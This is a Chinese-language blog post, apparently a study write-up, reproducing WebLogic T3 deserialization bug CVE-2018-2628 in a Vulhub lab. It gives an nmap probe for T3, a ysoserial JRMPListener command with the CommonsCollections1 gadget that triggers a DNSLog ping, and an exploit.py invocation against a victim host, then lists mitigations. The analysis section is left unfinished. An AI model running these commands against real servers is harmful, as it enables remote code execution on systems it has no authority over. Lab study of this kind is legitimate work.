浅析WebLogic T3反序列化漏洞(CVE-2018-2628)
/0x00 前言
简单学习WebLogic T3反序列化漏洞(CVE-2018-2628)。
0x01 WebLogic T3反序列化漏洞(CVE-2018-2628)
这是xxlegend大佬挖的一个漏洞。
环境搭建
用的Vulhub:https://vulhub.org/#/environments/weblogic/CVE-2018-2628/
影响版本
Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3。
漏洞原理
简单地说,就是WebLogic开启了T3协议服务,攻击者可以通过T3协议来进行RMI反序列化漏洞的攻击利用从而RCE。
使用Nmap脚本探测T3服务
Nmap的weblogic-t3-info脚本可以探测WebLogic的T3服务是否开启:
1 | nmap -n -v -p7001,7002 172.19.0.1 --script=weblogic-t3-info |
这里探测目标环境7001端口是开启了T3服务的:
这里返回目标WebLogic的具体版本号为10.3.6.0以及开启了T3服务等信息,是存在T3反序列化漏洞的,接着进行漏洞复现。
漏洞复现
先在攻击者服务器通过ysoserial来启动一个JRMP服务端,这里使用CommonsCollections1这条Gadget进行反序列化利用,其中通过DNSLog外带验证:
1 | java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections1 "ping t3.f1gexy.dnslog.cn" |
然后,使用这个exploit脚本向目标WebLogic服务器发送报文:
1 | python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient] |
其中,
[victim ip]
和[victim port]
是目标weblogic的IP和端口,[path to ysoserial]
是本地ysoserial的路径,[JRMPListener ip]
和[JRMPListener port]
第一步中启动JRMP Server的IP地址和端口。[JRMPClient]
是执行JRMPClient的类,可选的值是JRMPClient
或JRMPClient2
。
最后,看到DNSLog记录:
漏洞分析
参考:https://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
待分析…
防御方法
- 升级WebLogic版本;
- 关闭T3服务,或控制T3服务的访问权限;